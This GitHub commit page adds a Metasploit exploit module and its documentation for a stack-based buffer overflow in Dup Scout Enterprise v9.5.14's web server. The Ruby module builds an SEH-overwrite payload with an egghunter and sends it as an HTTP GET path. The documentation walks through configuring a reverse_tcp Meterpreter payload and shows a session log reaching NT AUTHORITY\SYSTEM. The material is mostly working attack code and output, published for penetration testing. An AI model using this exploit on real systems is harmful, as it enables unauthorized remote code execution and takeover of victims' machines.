Skip to content

Commit 7e2dab4

Browse files
wwebb-r7wwebb-r7
committed
Land rapid7#8303, Buffer Overflow on Dupscout Enterprise v9.5.14
2 parents 1f4ff30 + cd038ae commit 7e2dab4

File tree

2 files changed

+178
-0
lines changed

2 files changed

+178
-0
lines changed

‎documentation/modules/exploit/windows/http/dupscts_bof.md

Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
## Vulnerable Application
2+
3+
[Dup Scout Enterprise](http://www.dupscout.com) versions up to v9.5.14 are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerability is caused by improper bounds checking of the request path in HTTP GET requests sent to the built-in web server. This module has been tested successfully on Windows 7 SP1. The vulnerable application is available for download at [Exploit-DB](https://www.exploit-db.com/apps/4ead3eadc19bf3511e8dfd606624e310-dupscoutent_setup_v9.1.14.exe).
4+
5+
## Verification Steps
6+
1. Install a vulnerable Dup Scout Enterprise
7+
2. Start `Dup Scout Enterprise` service
8+
3. Start `Dup Scout Enterprise` client application
9+
4. Navigate to `Tools` > `Dup Scout Options` > `Server`
10+
5. Check `Enable Web Server On Port 80` to start the web interface
11+
6. Start `msfconsole`
12+
7. Do `use exploit/windows/http/dupscts_bof`
13+
8. Do `set RHOST ip`
14+
9. Do `check`
15+
10. Verify the target is vulnerable
16+
11. Do `set PAYLOAD windows/meterpreter/reverse_tcp`
17+
12. Do `set LHOST ip`
18+
13. Do `exploit`
19+
14. Verify the Meterpreter session is opened
20+
21+
## Scenarios
22+
23+
###Dup Scout Enterprise v9.5.14 on Windows 7 SP1
24+
25+
```
26+
msf exploit(dupscts_bof) > show options
27+
28+
Module options (exploit/windows/http/dupscts_bof):
29+
30+
Name Current Setting Required Description
31+
---- --------------- -------- -----------
32+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
33+
RHOST 172.16.0.18 yes The target address
34+
RPORT 80 yes The target port (TCP)
35+
SSL false no Negotiate SSL/TLS for outgoing connections
36+
VHOST no HTTP server virtual host
37+
38+
39+
Payload options (windows/meterpreter/reverse_tcp):
40+
41+
Name Current Setting Required Description
42+
---- --------------- -------- -----------
43+
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
44+
LHOST 172.16.0.20 yes The listen address
45+
LPORT 4444 yes The listen port
46+
47+
48+
Exploit target:
49+
50+
Id Name
51+
-- ----
52+
0 Dup Scout Enterprise v9.5.14
53+
54+
55+
msf exploit(dupscts_bof) > exploit
56+
57+
[*] Started reverse TCP handler on 172.16.0.20:4444
58+
[*] Sending request...
59+
[*] Sending stage (957487 bytes) to 172.16.0.18
60+
[*] Meterpreter session 1 opened (172.16.0.20:4444 -> 172.16.0.18:49162) at 2017-04-26 15:16:08 +0100
61+
62+
meterpreter > getuid
63+
Server username: NT AUTHORITY\SYSTEM
64+
meterpreter > sysinfo
65+
Computer : PC-01
66+
OS : Windows 7 (Build 7600).
67+
Architecture : x86
68+
System Language : pt_PT
69+
Domain : LAB
70+
Logged On Users : 3
71+
Meterpreter : x86/windows
72+
meterpreter >
73+
```

‎modules/exploits/windows/http/dupscts_bof.rb

Lines changed: 105 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,105 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = GreatRanking
10+
11+
include Msf::Exploit::Remote::Seh
12+
include Msf::Exploit::Remote::Egghunter
13+
include Msf::Exploit::Remote::HttpClient
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'Dup Scout Enterprise GET Buffer Overflow',
18+
'Description' => %q{
19+
This module exploits a stack-based buffer overflow vulnerability
20+
in the web interface of Dup Scout Enterprise v9.5.14, caused by
21+
improper bounds checking of the request path in HTTP GET requests
22+
sent to the built-in web server. This module has been tested
23+
successfully on Windows 7 SP1 x86.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'vportal', # Vulnerability discovery and PoC
29+
'Daniel Teixeira' # Metasploit module
30+
],
31+
'DefaultOptions' =>
32+
{
33+
'EXITFUNC' => 'thread'
34+
},
35+
'Platform' => 'win',
36+
'Payload' =>
37+
{
38+
'BadChars' => "\x00\x09\x0a\x0d\x20\x26",
39+
'Space' => 500
40+
},
41+
'Targets' =>
42+
[
43+
[ 'Dup Scout Enterprise v9.5.14',
44+
{
45+
'Offset' => 2488,
46+
'Ret' => 0x10050ff3 # POP # POP # RET [libspp.dll]
47+
}
48+
]
49+
],
50+
'Privileged' => true,
51+
'DisclosureDate' => 'Mar 15 2017',
52+
'DefaultTarget' => 0))
53+
end
54+
55+
def check
56+
res = send_request_cgi(
57+
'method' => 'GET',
58+
'uri' => '/'
59+
)
60+
61+
if res && res.code == 200
62+
version = res.body[/Dup Scout Enterprise v[^<]*/]
63+
if version
64+
vprint_status("Version detected: #{version}")
65+
if version =~ /9\.5\.14/
66+
return Exploit::CheckCode::Appears
67+
end
68+
return Exploit::CheckCode::Detected
69+
end
70+
else
71+
vprint_error('Unable to determine due to a HTTP connection timeout')
72+
return Exploit::CheckCode::Unknown
73+
end
74+
75+
Exploit::CheckCode::Safe
76+
end
77+
78+
def exploit
79+
80+
eggoptions = {
81+
checksum: true,
82+
eggtag: rand_text_alpha(4, payload_badchars)
83+
}
84+
85+
hunter, egg = generate_egghunter(
86+
payload.encoded,
87+
payload_badchars,
88+
eggoptions
89+
)
90+
91+
sploit = rand_text_alpha(target['Offset'])
92+
sploit << generate_seh_record(target.ret)
93+
sploit << hunter
94+
sploit << make_nops(10)
95+
sploit << egg
96+
sploit << rand_text_alpha(5500)
97+
98+
print_status('Sending request...')
99+
100+
send_request_cgi(
101+
'method' => 'GET',
102+
'uri' => sploit
103+
)
104+
end
105+
end

0 commit comments

Comments
 (0)